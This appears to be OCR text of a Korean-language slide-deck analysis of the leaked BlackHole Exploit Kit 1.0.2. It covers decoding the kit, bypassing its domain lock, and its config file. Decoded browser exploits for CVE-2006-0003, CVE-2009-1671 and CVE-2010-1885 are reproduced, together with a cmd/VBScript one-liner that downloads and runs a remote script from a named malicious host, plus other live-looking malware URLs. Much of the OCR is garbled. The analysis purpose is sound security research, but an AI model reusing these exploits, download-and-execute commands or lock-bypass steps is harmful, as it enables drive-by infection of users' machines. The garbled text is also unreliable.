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BlackHole Exploit Kit 1.0.2 - Download !
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ﬁ If you enjoyed The Hacker News, Make sure you subscribe to our RSS feed. Stay Updated
h about latest Security threats, Hacking threads & IT Issues from all over the world.!
BlackHole Exploit Kit 1.0.2 - Download !

D AR by W R

Add Extract To  Test View Delete Find Wizard Info VirusS
m E Black Hole Exploit Kit.zip\blackhole - ZIP archive, unpacked size 2,731,736 bytes
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config.php
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x ionCube 2=0| g2 M, off 24l

r!") Mozilla Firefox @1

File Edit View History Bookmarks Tools Help

hitp://192, 168,66, -- t102_THMN/index,php |

s n://192,168,66,128/Clac)

oite error: the file C:\APM_Setup'htdocs'BlackHoleExploitkit102 THNundex.php requires the ionCube PHP Loader
ioncube_loader win 5.2 dll to be mnstalled by the site administrator.

& Next 4 Previous o Highlight all [] Match case (% Reached end of page, continued from to
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» Black Hole Exploit Kit 1.0.2= ionCube®] X|=9o
= HS =R

» CHEE o] mtelof Encoding =0 =

| 2| config.php; threadData.php) ,

B C:#WAPM_Setup¥Whtdocs¥BlackHoleExploitKitl 02_THN®Windex.php - Notepad++ E]
File Edit Search View Encoding Language Settings cro Run Plugins Window ?
o s @& | & @ I il e % = LU
[=] index.php
?php
if [ 'extension_loaded|

§_ ln= o
1:Bdl(§__1n);if (fun

tr_repeat |
J{i€(§_ rd[§_ il== )
_ 1n=§_ lp:break:
yif (functio
.__FILE_ .

exit |

4+0V57Hz2YmII0y34rUV3+0rt 2zWRsqlepAGQ /W¥myy8CwTmrkhr aAxtm9v9AIKEpzydyiK22RygP
CtXTLGTUK8QuUE93d7n4dz9kVV3Zey6RHb axMNEvvuyZDRYX10j C8Dw6XyBbap0Jd8x+Y54vDygsHE
7C6v1ZAVXEUCcSZvzM7U6g2Go+wEehkcAn35v 86 XiAnRLxXI fHCAAfWBNOCIYR /wtdo++/9GP1fw6
SO0AYi9rfZGfhIshDkizs/zy7(Q5RAsasM1KIKMC2Tu+XL6WCUtAGepxKDUZNBKkgRDZ (9 /wL 3Bw5pW
Q/VtM1r3S2esXDeHiTZ2MTIus ayRULw7UwbH20Huj yM+wklsuxt 03Pm6Ht 129UcUYCY1GY5TE7s4
XUK6M2waeiAmD 7xtPYRRo1a81W37vij 5AiBHWMIYcH3mc0sfpBTZSHhHPRHDh3AYHOI+MWwk1£0g
g2¢gmSTM1me Yz oUMTBIJHF XhHTHr 6pyv++IV3InKqTHt daSNgl61g7668PgWf+Cy2PuQhbH17J9d1iU
PaeB4SGJ7h 5hkwhpbWUnICQ+KDmyl/xs249uYpvrkpy8WZnHrmgHS 6 UONKUwrnWu+PJAShP 2ZKZ 0N+
BBhiPo2SpFU+HjM14vDEE60owgLDw41i7w]jSD1V8rcRSxH8HuuoRjBhtL6Qgcadn2T0sG9kj6HEC6G
52UoUOUP40aM(QB7HQiVUvSA /4 7XdNwwIADpD21f0IpBYYAEDEVyDu79A23£9NKQCO0UH2IGo0glcy

http://www.darkreading.com/advanced-threats/167901091/security/vulnerabilities/22962561 7 /freebie-black-hole-exploit-kit-
limited-by-encoding.html
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http://www.darkreading.com/advanced-threats/167901091/security/vulnerabilities/229625617/freebie-black-hole-exploit-kit-limited-by-encoding.html
http://www.darkreading.com/advanced-threats/167901091/security/vulnerabilities/229625617/freebie-black-hole-exploit-kit-limited-by-encoding.html
http://www.darkreading.com/advanced-threats/167901091/security/vulnerabilities/229625617/freebie-black-hole-exploit-kit-limited-by-encoding.html
http://www.darkreading.com/advanced-threats/167901091/security/vulnerabilities/229625617/freebie-black-hole-exploit-kit-limited-by-encoding.html
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x» Domain Lock(IP. 4= Lock) i Black Hole Exploit Kit
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http://127.0,0,1/bhek/index, php

l + |
& http://121,0,0,1/bhek/index. php

Fatal exvror:
The encoded file C:\APM_Setup'htdocs'bhek'index.php 15 not permisstoned for 127.0.0.1 1n Unknown on line 0
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= The Black Hole Exploit Kit 1.0.2= Licenseo]| ttt2}
7|ZF0] A|LtH Bt = Z{(F=)

» The Black Hole Exploit Kit M| &A= Exploit Kit=
mhof ok o, oAb HE] Ab= 7|7k Mgt P
42 oxsl oD oAl

<hry /2

{bh>Fatal errori/b>: <br>The encoded file <bh>C:HAPM_SetupthtdocsWindex.phy
{/b> has expired. in <b>2Unknown</b> on line <b>8B{/b><hb» />
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= EncodingEl PHP 1t 2= DecodingstE 2t e, &
o| 0| 5= Ch==tE[0l RS
. Lh=sl =aix| o

B 27-07-2011

Ted Bundy

Senior Member

Ioncube decoded Blackhole exploit pack

Hello,

Q@
and i was approved to OSC. ‘=

_ohfuscate DQIuEgQHEzM MTQKFD4YCjILNzcwCCI | > efe s | nain, ath!
P K _obfuscate DVw30OBIBDigSMhg3AhEMPDQsIigzFCI (| $Referer[' hos IGAL i s e D s
_obfuscate DVw3OBIBDigSMhg3AhEMPDQsIigzFCI | §refererPuth ) ."\")" |: i to bypass the domain lock.
frefererlId = obfuscate DTQZD3sdHwkQGCUBEwYHEBcwmBgeQCzI [ )¢ ) making this post.

does anyone now if im doing something wrong. or if there is just no way to get it up.

i do know they are decoded bleeding v2 decoded files out there that work.

http://www.opensc.ws/web-development/15785-ioncube-decoded-blackhole-exploit-pack.html
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» Encoding=l PHP z} 2!

wi S O el

/* Dezend for PHPS */
NS
Nulled. WS

if ( !isset( $ GET[

exit( )

include | "
include | "
include | "
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» Decoding =, index.ph
oll comparelP. g7}

b 2l(Browser 2212

ST
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0|2 mfotst & ols
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f/vOnSch3lling
//compareIP function may be generated by ionCube PHP Encoder
$gooc == true, allow acc

$good == false, do not access

static function compareIP| $ip, $mask )

//fvOnSch3lling

// obfuscate DRRKOFTOfAywxOQShQDQOBExXABWwUKQAE == split

S

farr = _ohfuscate DRKOFTOLfAywxOQSbQDQEEXABWwUKQAE T T VI B (=
farrz = _ohfuscate DRKOFTOLfAywxOQShbQDQEEXABWwUKQAE oL, S$mask )
$good = true;

$i = 0;

//fvOnSch3lling

// obfuscate DRAXBQuwdBxskCygsEhQtIzAOJEUtNAE == count

while | $§i < _ohfuscate DRAXBQuwdBxskCygsEhQrUIzAOJEUCNAE { $arr ) )

if ([ S$arr2[$i] !'= "*" gg S$arr2[$i] '= S$arr[$i] )
fgood = false: //v0nSch3lling
break; /fMaybhe IPCompare function call

¥ foreach | $threadData['IFP'][1] as $ref )

++§1; {

//fvOnSch3lling

f/vOnSch3lling
return $good:; i ( ( $ip, S$ref ) )
//return true;
_ohfuscate DQUrNTMROAAAIKAGHTISPQYPKCwZETI
exit( )
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x Domain Lock

215l freturn

« Domain Lock 7| == $Slo
$good;’ = ‘return-true; = &

» ‘foreach ( $threadDatal'IP][1] as $ref ) G| A IP
T2 (SthreadbatalIP’][1])= $threadData(lib/
threadData.php)ol A 2] =0 /U=

rﬂ;
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config.php =24 (1/3)

x config.php config e = bl

= config 2 el A& private B 2 371 2| public &

N — | = ol
T = b= OI'—TI— AA T

« M ulol S 2 private $config private B of
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config.php &=44(2/3

» $config HH &

static private $config = array(

/* ---config--- */

‘Version' => '1.0.2', //vOnSch3lling : Black Hole Exploit Kit Version

‘StatFileName' => 'stat’', //vOnSch3lling : [Maybe|Statistics Panel File

‘MainFileName' => 'Index’, //vOnSchalling : [Maybe]File for Exploit

'‘DownloadFileName' => 'd', //vOnSchalling : [Maybe]Shellcode in Exploit access ‘d.php’

'‘ExploitsDir’ => 'games’, //vOnSch3lling : Exploit Directory

‘urltosmb’ => '195.80.151.59\\\\pub\\\\new.avi', //vOnSchalling : SMB Exploit

'‘AjaxAutoreloadinterval' => '10",

‘MaxCountriesLimit' = ot

'‘MaxOSLimit' ST eNe

'‘MaxExploitsLimit' => '999’,

'‘MaxBrowsersLimit' =I5 1)

‘MaxSecondLimit' =303

‘MaxThreadsLimit’ =Pl L)

‘MaxReferersLimit' =44 0

'‘AdminPass' => '202¢ch962ac59075b964b07152d234b70", //vOnSch3lling : Panel
PW 123

‘MysqglHost' => 'localhost’,

'‘MysglUsername' => 'blackhole’,

20114 102 10




config.php &=44(3/3

» $config HH &

‘MysqlPassword' => 'f109|12QP6AKNVRhNd82XexZ7CE85I', //vOnSchalling : Not Cracked
‘MysqlDatabase’ => 'blackhole’, //vOnSch3lling : Database Name
'LibDir' =>"lib’,

'FilesDir! => 'files’,

'JSDir! =>'js', //relative to LibDir directory
'CSSDir! => 'css', //relative to LibDir directory
'ImgDir’ => 'Img’, //relative to LibDir directory
‘TemplatesDir => 'templates’,

'‘DefaultLanguage’ => 'ru’, //vOnSch3lling : Language
'‘DefaultTemplate’ => 'default’,

‘MainParamName' —Par il

‘StatParamName' =N

'AuthVariable' => 'Auth’,

‘ShowReferers' =508

'LastMaxRefererl|D’ =>4

'virtestLogin' —S>o 1thiet

'virtestPass' => ",

/* ---config--- */




index.php =23

x 2

» index.php= A=Al 2tE = = Aot M Mot
Exploit= A1 Ex

x =1 |P ZF—_/J\_, E‘7|‘

x Exploit 2t4 1+ =3 A|A|, & E2l$X, Adobe
Acrobat Reader, Java, Windows Media Player
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index.php =23

x -

class Browser
MySQL Connection
ComparelP
Write LOG

$selectedExploits(from O to 6)
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index.php =23

x $selectedExploit =2 0 IE< 7.0
x function xkg : createObject
x function gr: ADODB.sStream Object
= function ewvt :: CVE-2006-0003 Exploit

if (_obfuscate_ DRomDhFbHx03LxUnDjAHJBOaMAW3CWE |( "0", $selectedExploits ) && $Client['name'] == "msie"
&& _obfuscate_DSofATspGzcnOSYuORWTGCgMwQBhE |( $Client['version'], "7.0", "<"))

{

$exploitsContent .= "\r\nfunction xkg(nsu,js){...}\r\nfunction gr(sgw){...\r\nfunction ewvf(){...}";
}

else

{

$exploitsContent .= "function ewvf(){zazo();};";
)
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index.php =23

x $selectedExploit =2 0 IE< 7.0

//vOnSch3lling

//CVE-2006-0003

//BD96C556-65A3-11D0-983A-00C04FC29E30 - RDS.DataControl (ms06-014; cve-2006-0003)
//BD96C556-65A3-11D0-983A-00C04FC29E36 - RDS.DataSpace (ms06-014; cve-2006-0003)
//ABOBCEDD-EC7E-47E1-9322-D4A210617116 - Business.Object.Factory
//0006F033-0000-0000-C0O00-000000000046 - Outlook.Data.Object

//0006FO3A-0000-0000-C0O00-000000000046 - Outlook.Application

//6e32070a-766d-4ee6-879c-dc1fa91d2fc3 - SoftwareDistribution.MicrosoftUpdate\WebControl. 1
//6414512B-B978-451D-A0D8-FCFDF33E833C - SoftwareDistribution.WebControl.1
//TF5B7F63-FO6F-4331-8A26-339EO03COAESD - WMIScriptUtils. WMIObjectBroker2.1 (ms06-073; cve-2006-4704)
//06723E09-F4C2-43¢c8-8358-09FCD1DB0O766 - VsmIDE.DTE

//639F725F-1B2D-4831-A9FD-874847682010 - DExplore.AppObj.8.0

//BA018599-1DB3-4419-83B4-461454C84BF8 - VisualStudio.DTE.8.0

//DOCO7D56-7C69-43F1-B4A0-25F5A11FAB19 - Microsoft.DbgClr.DTE.8.0
//EBCCCDDF-CA28-496b-B050-6C07C962476B - VsalDE.DTE

var Ihgh = new Array('BD96C556-65A3-11D0-983A-00C04FC29E36', 'BDI6C556-65A3-11D0-983A-00C04FC29E30",
'ABOBCEDD-EC7E-47E1-9322-D4A210617116", '0006F033-0000-0000-C0O00-000000000046', '0006FO3A-0000-0000-
C000-000000000046", '6e32070a-766d-4ee6-879c-dc1fa91d2fc3’, '6414512B-B978-451D-A0D8-FCFDF33E833C',
"TF5B7F63-FO6F-4331-8A26-339EO03COAESD’, '06723E09-F4C2-43¢8-8358-09FCD1DB0766", '639F725F-1B2D-4831-
A9FD-874847682010', 'BA018599-1DB3-4419-83B4-461454C84BF8', 'DOCO7D56-7C69-43F1-B4A0-25F5A11FAB19’,
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index.php =23

x $selectedExploit =2 0 IE< 7.0

x related files @ mxmt.exe(=203b51a3344.exe)

IMD5]7e186ad4041718e02585d82c0436e200
[FILE]C:\Documents and Settings\Administrator\Application Data\Effu\wyito.udo
[FILE]C:\Documents and Settings\Administrator\Application Data\Pylye\nihe.exe
[THREAD]CAWINDOWS\explorer.exe

WRITE]nihe.exe wrote to the virtual memory of this process
[THREAD]CAWINDOWS\system32\ctfmon.exe

[WRITE]nihe.exe wrote to the virtual memory of this process
[THREAD]CAWINDOWS\system32\wscntfy.exe

[WRITE]nihe.exe wrote to the virtual memory of this process
INETWORK]DNS : www.google.com
INETWORK]66.102.7.99:80 - [www.google.com] GET /webhp

http://www.auscert.org.au/render.html?it=13759
http://anubis.iseclab.org/?action=result&task _id=1c1d0f0a207f03234b1fdebdd3d3f2827 &format=html
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http://jsunpack.jeek.org/dec/go?report=cecc0f01d16f86405430d97bd562cd7ae71bd3c8
http://jsunpack.jeek.org/dec/go?report=cecc0f01d16f86405430d97bd562cd7ae71bd3c8
http://jsunpack.jeek.org/dec/go?report=cecc0f01d16f86405430d97bd562cd7ae71bd3c8
http://jsunpack.jeek.org/dec/go?report=cecc0f01d16f86405430d97bd562cd7ae71bd3c8
http://www.google.com
http://www.google.com
http://www.google.com
http://www.google.com

index.php =23

x $selectedExploit =2 0 IE< 7.0

of| M| (from: jsunpack)

[nothlng detected] (iframe) dwr2,.cz.cc/imaurl.php
sfa us FeTerer=www,google, com/trends/not rends)saved 154118 bvtes 44c5801a3646ce76ddb3daa701d1e1518fbbda7f

info: DecodedGenericCLSID detected 68320?0&~T66d—4886 879c—dc1fa91dzfc3 BAO18599-1DB3-44f9-83B4-461454C84BFS BDYECEE6-6543—
11D0-9834-00C0O4FC29E30 CASA9TE0-280D-11CF-A24D-444553540000 6414512B-B978-451D-A0D8-FCFDF33E833C DOCO7DE6-7CE9-43F1-
BAA0-25F5A11FAB19 ABSBCEDD-ECTE-47E1-9322-D44210617116 0006F033-0000-0000-C000-000000000046 FFEBTFE3-FO6F-4331-8426—-
339E03C0AE3D 8ADSCE40-044E-11D1-B3ES-00805F4939D93 ESCCCDDF-CA28-496b-B050-6C0OTC962476EB CAFEEFAC-DECT-0000-0000-

ABCDEFFEDCBA 06723E09-F4C2-43c8-8358-09FCD1DBOTE6 0006F034-0000-0000-C0O00-000000000046 639F f25F-1B2D-4831-A9FD-
.7484T682010 BDIEL556-6543-11D0-983A-00C04FC2SE 36

iffo: [open] URL=dwr2 ¢z ccrd pho?f=<18e=0
d415/ddec8d12ecb9cfeac0e445104bf 7548d50b9 from dwr2,cz.cc/imaurl.php (21994 bytes, 102 hidden) download

ii. Type=1;sx. send(null);rb=sx responseBody;ji. Open();j1. Write(rb);ji. SaveT ofile{ gbnp, 2);sap. ShellExecute gbnp);return 1} function ewwf){ var pabl=0;var Ili;
Array('BD96C556-6543-11D0-983A-00C04F C29E36','BDOEGC556-65A3-11D0-983A-00C04FC29E30" ' ABOBCEDD-ECTE-47E1-9322-D4A210617116','0006F033-0000-
0000-C000-000000000046",'0006F03A-0000-0000-C000-000000000046','6e32070a-766d-4eed-879¢c-dc1fa%1d2fc3','6414512B-B978-451D-A0DS-
FCFDF33E833C",'7F 5B7F63-FO6F -4331-8A26-330E03C0AE3D",'06723E09-F4C2-43c8-8358-09FCD 1DB0766','639F725F - IB2D-4831-A%FD-
8748476382010','BA018599-1DB3-4419-83B4-461454C84BF8','DOCO7D56-7C69-43F 1 -B4A0-25F 5A11FAB19' '"ESCCCDDF -CA28-496b-B050-

http://jsunpack.jeek.org/dec/go?report=cecc0f01d16f86405430d97bd562cd7ae/1bd3c8
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http://jsunpack.jeek.org/dec/go?report=cecc0f01d16f86405430d97bd562cd7ae71bd3c8
http://jsunpack.jeek.org/dec/go?report=cecc0f01d16f86405430d97bd562cd7ae71bd3c8

index.php =23

x $selectedExploit =2 0 IE< 7.0

.) Malware Detected!

@ dwr2.cz.cc/imgurl.php

Warning: Something's Not Right Here!

dwr2.cz.cc contains malware. Your computer might catch a virus if you visit this site.

Google has found malicious software may be installed onto your computer if you proceed. If you've
visited this site in the past or you trust this site, it's possible that it has just recently been
compromised by a hacker. You should not proceed, and perhaps try again tomorrow or go
somewhere else.

We have already notified dwr2.cz.cc that we found malware on the site. For more about the
problems found on dwr2.cz.cc, visit the Google Safe Browsing diagnostic page.

If you understand that visiting this site may harm your computer, proceed anyway.

_J Help improve detection of malware by sending additional data to Google about sites on which you
see this warning. This data will be handled in accordance with the Safe Browsing privacy

policies.
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index.php =4

» $selectedExploit =2 1

x function zazo : CVE-2009=1671 Exploit

//vOnSchalling
//Maybe $selectedExploits ==
if (_obfuscate_ DRomDhFoHx03L.xUnDjAHJBOaMAW3CWE |( "1", $selectedExploits ) )
{

$exploitsContent .= "function zazo(){try{var cg=\"http: -J-jar -J\\\\".( "urltosmb" )." ".Surltoexe."1 none\";if
(window.navigator.appName=="'Microsoft Internet Explorer'){try{var uiu=document.createElement
(‘OBJECT");uiu.classid="clsid: CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";uiu.launch(cg);}catch(e){var
ghtb=document.createElement('OBJECT");ghtb.classid="clsid:8AD9C840-044E-11D1-
B3E9-00805F499D93";ghtb.launch(cg);}}else{var uiu=document.createElement('OBJECT");var
ze=document.createElement('OBJECT");uiu.type="application/npruntime-scriptable-
plugin;deploymenttoolkit';ze.type="application/java-deployment-toolkit';document.lbody.appendChild
(uiu);document.body.appendChild(ze);try{uiu.launch(cg);}catch(e){ze.launch(cg);}}}catch(e){};ai();};";
}
else
{ $exploitsContent .= "function zazo(){ai();}"
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index.php =4

» $selectedExploit =2 1

x function zazo : CVE-2009=1671 Exploit

//vOnSchalling
//Maybe $selectedExploits ==
if (_obfuscate_ DRomDhFoHx03L.xUnDjAHJBOaMAW3CWE |( "1", $selectedExploits ) )
{

$exploitsContent .= "function zazo(){try{var cg=\"http: -J-jar -J\\\\".( "urltosmb" )." ".Surltoexe."1 none\";if
(window.navigator.appName=="'Microsoft Internet Explorer'){try{var uiu=document.createElement
(‘OBJECT");uiu.classid="clsid: CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";uiu.launch(cg);}catch(e){var
ghtb=document.createElement('OBJECT");ghtb.classid="clsid:8AD9C840-044E-11D1-
B3E9-00805F499D93";ghtb.launch(cg);}}else{var uiu=document.createElement('OBJECT");var
ze=document.createElement('OBJECT");uiu.type="application/npruntime-scriptable-
plugin;deploymenttoolkit';ze.type="application/java-deployment-toolkit';document.lbody.appendChild
(uiu);document.body.appendChild(ze);try{uiu.launch(cg);}catch(e){ze.launch(cg);}}}catch(e){};ai();};";
}
else
{ $exploitsContent .= "function zazo(){ai();}"
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index.php =23

» $selectedExploit =2 1
of| M| (from: jsunpack)

211317161129, 91271 716291

51 97a/74cfbdb724a1c4d7ed923076d4e869176044 from script (12274 bwvtes, 5 hidden) download
Heval String fromCharCode /feval function end red1rect(){ },document. write("<body><OBJECT id=Pdfl helght—U W1dth—0 classid=clsid: CASADT7E0- 280D 11CF-A24D-

444 A0 8= e tyne="t e hehavint: refaultyaiser] atay = AR (L] d='mra' clags=" "= < MAR O iframe

src="about’blank' frameborder="0" width="1" height="1" id="hello’ name='he]10 ><f1frame><fbody>") function ewwf{){zazo(); };function zazo(){ try{wvar cg="http: -J-jar -
JWW212.117.161. 129%pubinew.avi hitp://df4f co.cc/d php?f=18&e=1 none";if{ window. nawvigator. appName='I\-‘hcrosoﬁ Intfn'net Explorer"){ try{ var
uiu=document. createElemen ;uiu. classid="clsid. CAFEEF AC-DEC7-0000-0000-ABCDEFFEDCBA',

Decoded Files
e23c/fdedff4a7c0f2558694%aaec1c4702d29c9a from script (23265 bytes, 7577 hidden) download

class='css =</NIAR QUEE><1frame src="about:blan ameborder="1" width= eight="1" 1d="hello" name="hello"></iframe></body>"); ction ewvil zazo( ), }
function zazo(){ try {wvar cg ="http: -J-jar -JWW\O1.217.162. | Opubinew.avi hitp://chlé. co.co/d php?f=19&e=1 none";if (window. nawvigator. appName = 'Microsoft
Internet Explorer’){try {var uiu = document. createElement('OBJECT ;uiu. classid = 'clsid:. CAFEEF AC-DEC7-0000-0000-ABCDEFFEDCBA' uiu. launch( cg); } catch (e){ us
STIL0 = QUCUHIETIL. CTedleIeTnieniy " UDJr LedIlD. Cld 1= F.o81 Y09 0-U9E- | 1-DALZ-Ul0aUnraZY Y 07 L0 [dUnCil Cg), clse { Val Ul =

document. createElement('OBJECT");var ze = document. createElement('OBJECT ") uiu type = ‘application/npruntime-scriptable-plugin; deploymenttoolkit';ze type =

- RIS alinAviaalz.a L) - A0 LT

Al aln

http://jsunpack.jeek.org/dec/go?report=c1d14{804b8dc83f5c3cc30822afa31{25283bf0
http://jsunpack.jeek.org/dec/go?report=3c5fb34bfd1677dc270e80ad14bbe 7324 cf8bf6f
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http://jsunpack.jeek.org/dec/go?report=c1d14f804b8dc83f5c3cc30822afa31f25283bf0
http://jsunpack.jeek.org/dec/go?report=c1d14f804b8dc83f5c3cc30822afa31f25283bf0
http://jsunpack.jeek.org/dec/go?report=3c5fb34bfd1677dc270e80ad14b6e7324cf8bf6f
http://jsunpack.jeek.org/dec/go?report=3c5fb34bfd1677dc270e80ad14b6e7324cf8bf6f

index.php =4

» $selectedExploit =2 1

of| M| (from: jsunpack)

script benign

[nothing detected] script

. info: [decodinglevel=0] found JavaScript

. info: DecodedGenericCLSID detected CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA 8ADSCE40-044E-11D1-B3E9-00805F493D93 CASAITS0-
§280D 11CF A24D—444553540000

mfo. [decodmgLeveI 1] found JavaScript
file: e00dZ25bbbb3d9d28cdS40d67h3075cSffc 74d0b2: 105148 bytes
file: 197aTdcfbdb724a1cdd7ed923076d4e8691 76044 12274 byvtes

Request Blocked
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index.php =4

x $selectedExploit =2 2
x function al: GVE-2006-6134 Explot
x |[E>7.0
= Micrsoft Windows Media Player < 10.0
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index.php =23

x $selectedExploit =2 2

$exploitsContent .= "function ai(){";

//vOnSch3lling
//IE Version > 7.0
if ($Client['name'] == "msie" && _obfuscate_DSofATspGzcnOSYuORWTGCgMwQBhE |( $Client]['version],
o/ 40 =2 5
{

//vOnScha3lling

//6BF52A52-394A-11d3-B153-00C04F79FAAG : Microsoft Windows Media Player

$exploitsContent .= "try {var o = document.createElement(\"OBJECT\");0.setAttribute(\"classid\",

\"clsid:6BF52A52-394A-11d3-B153-00C04F 79FAAB\");0.setAttribute(\"uiMode\", \"invisible\");if(parselnt
(0.versionInfo)<10){o.openPlayer('http://".$_SERVER
['SERVER_NAME']._obfuscate_DT4jHiOlli8MLgYnAipbPyw9IROUAQE |
( _obfuscate_DTIfMBg4CRsICzYhDil4LAEJLQcDLIl|( __FILE_ ), "*, $_SERVER['PHP_SELF']).( "ExploitsDir" )."/
hcp_asx.php?f=".$file."");}
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index.php =23

x $selectedExploit =2 2
» 2 Tiel s hopiasx.php

x hcp_asx.php= = ofl Windows Media Player

http://stopmalvertising.com/malvertisements/zidducom—stilI-infested—with—malare.html
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http://stopmalvertising.com/malvertisements/zidducom-still-infested-with-malware.html
http://stopmalvertising.com/malvertisements/zidducom-still-infested-with-malware.html

index.php =421

x $selectedExploit =2 2
= function al
x CVE-2010-1885 Exploit; 7.0<lE<8.0

= Exploite Al sl sk il - fromCharCodedl| 2| aH
Decoding=lct,

« = 7S] Exploito] QIS (E>7.0 and IE<8.0)
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index.php =4

x $selectedExploit =2 2

else{var bh=\"hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A% %A%...
%A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A.. %5C..%5Csysinfomain.htm%uO03fsvr=<scr
\"+\"ipt defer>eval(Run(String.fromCharCode
(99,109,100,32,47,99,32,101,99,104,111,32,66,61,34,108,46,118,98,115,34,58,87,105,116,104,32,67,114,

101,97,116, 10//vOnSchSIImg
12,101,110,32 /Maybe $selectedExploits == 2

?258?11001 0131 it ( _obfuscate_DRomDhFOHX03LXUnDJAHJBOaMAWSCWE |( "2", $selectedExploits ) )
|

28; ?884306: $string_hcpvbs = _obfuscate DTGBKZUE cHTIANA4NMXIMNAIGLTI |( *http://".$_SERVER

176.105.110," ['SERVER_NAME']._obfuscate_DT4jHiOllI8MLgYnAipbPyw9IROUAQE |( ( "MainFileName" ).".php",
0’4 5é 68,46 6‘( "Epr0|tsD|r" )."/hcp. vbs.php?f=".$file, $_SERVER['PHP_SELF] ) );

112,116,46,83,104 27
11,108,100,10 $thVbS Hr >~
,98,115,32,38,38,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,
108,32,47,70,32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101)));</scr\"+\"ipt>\";var m =
document.createElement(‘iframe’);m.setAttribute('src’, bh);m.setAttribute('width', 0);m.setAttribute('height’,
0);m.setAttribute('frameborder’, '0');document.body.appendChild(m);}
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index.php =23

x $selectedExploit =2 2

99,109,100,32,47,99,32,101,99,104,111,32,66,61,34,108,46,118,98,115,34,58,87,105,116,104,32,67,114,1
01,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,11
2,101,110,32,34,71,69,84,34,44,34 = cmd /c echo B="|.vbs":With CreateObject("MSXML2 XMLHTTP"):.open
IIGETII'II

cmd /c echo B="l.vbs":With CreateObject("MSXML2 XMLHTTP"):.open "GET",".$hcpvbs_url. ",false:.send():Set
34 41 A = CreateObject("Scripting.FileSystemObject"):Set D=A.Create lextFile(A.GetSpecialFolder(2) + "\" +
101.7 B):D.WriteLiine .response Iext;End With:D.Close:CreateObject(*WScript.Shell").Run A.GetSpecialFolder(2) + "\"
01,100 /+ B> %TEMP%\.vbs && % TEMP%\.vbs && taskkill /F /IM helpctr.exe

70,100, Vo, 1U 1,40,00,40,/ |, 1Ul, Il 10,00,I1 1£,1Ul,99, |lUO,I9/,I1UO,(U,I | |,1VUO0, IVUU, U, | 14,4U,0U,4 | ,0£,40,0
2,34,92,34,32,43,32,66,41,58,68,46,87,114,105,116,101,76,105,110,101,32,46,114,101,115,112,111,110,1
15,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,68,46,67,108,111,115,101,58,67,114,101,97,
116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,46,82,117,1
10,32,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32
,43,32,66,32,62,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,37,84,69,77,80,37,92,92,108,4
6,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,104,101,108,112,99,1
16,114,46,101,120,101 = " false:.send():Set A = CreateObject("Scripting.FileSystemObject”):Set
D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End With:D.Close:CreateObject
("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > % TEMP%\\l.vbs && % TEMP%\\l.vbs && taskkill /F /IM
helpctr.exe

2011 10€ 10




index.php =4

x $selectedExploit =2 2
= function al
x Shepvbs udZ2 5 El vbsS ChEEaT Al Sk

x Shepvbs_ ur= HEstEo] US
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index.php =23

x $selectedExploit =2 2
» 2he3 Ul 2 vbsfrom $hepvios: url)

x Phepvbs url = http:/new.hamhop.org/d.php?
e/&i=10

= Createobject(Str ceibOmetsySeliF,. gnitpircS") ) Set

1.-r,+h|”'l'|1|1 I'I7-1r- ),"e :_:-T ”f'ET" Set c =

) Create 'blw-‘fl StrReverse("rmaertS, BDODA" Set
:eIiF.gruitpircfZ 1) © ror resume next c.open OT, a, z:casend() If c.Status = Thwru d.Open: d T-'pw = y:id, “"rlf»-'

> w=Cre:; b , ("llehs." & "tpi"i:“" SwW")) E":allF'Ppla-‘»:-l "W.ex2c t Month("2010-02 1r
"FHP|:"»: 2 X :r "'r--l~-L~iIl iF JIM  realplay.exe":Set ecialFolder(2) & "\" &
t.Sleep w:iSet J:q.Dele
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http://new.hamhop.org/d.php?e7&f=10
http://new.hamhop.org/d.php?e7&f=10
http://new.hamhop.org/d.php?e7&f=10
http://new.hamhop.org/d.php?e7&f=10

index.php =23

x $selectedExploit =2 2

w 2] 1l Lvbs(from $Shepvibs: url)

.vbs= “Rougeware’ = El2HE=

Kaspersky 9.0.0.837 2011.07.24 Trojan.Win3Z. FakedV.ebl]

McAfee 5.400.0.1158 2011.07.24 FakeAlert-Rena.p
McAfee-GW-Edition 2010.1D
Sophos 4.67.0 - [ Mal /FakedV-MQ
Microsoft 1.7104 ] ,
SUPERAntiSpyware 4.40.0.1006 .07. Trojan. Agent/Gen-Faker
Symantec 20111.1.0.186 - [ -
TheHacker 6.7.0.1.262 .07, -
TrendMicro 9.200.0.1012 .07. TROJ_VUNDO. SMIB
TrendMicro-HouseCall 9.200.0.1012 .07. TROJ_VUNDO. SMIB
VBA3Z 3.12.16.4 - [ -

VIPRE 9954 . . FraudTool.Win3Z. FakeRean. 1

http://www.virustotal.com/file-scan/report.ntmil?
[d=bc64254e479062232dcf71ad4a22e4bcai7i8fca?2bf26e21e86e3330fceced42ba-1311545930
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http://www.virustotal.com/file-scan/report.html?id=bc64254e479062232dcf71a4a22e4bc4f7f8fca2bf26e21e86e3330fcece42ba-1311545930
http://www.virustotal.com/file-scan/report.html?id=bc64254e479062232dcf71a4a22e4bc4f7f8fca2bf26e21e86e3330fcece42ba-1311545930
http://www.virustotal.com/file-scan/report.html?id=bc64254e479062232dcf71a4a22e4bc4f7f8fca2bf26e21e86e3330fcece42ba-1311545930
http://www.virustotal.com/file-scan/report.html?id=bc64254e479062232dcf71a4a22e4bc4f7f8fca2bf26e21e86e3330fcece42ba-1311545930

index.php =23

x $selectedExploit =2 2
of| M| (from: jsunpack)

x 200.63:46:90

%Decoded Files
59¢8/44108b16bbc3416892e51f51cf36¢0208505 from script (1452 bytes) download

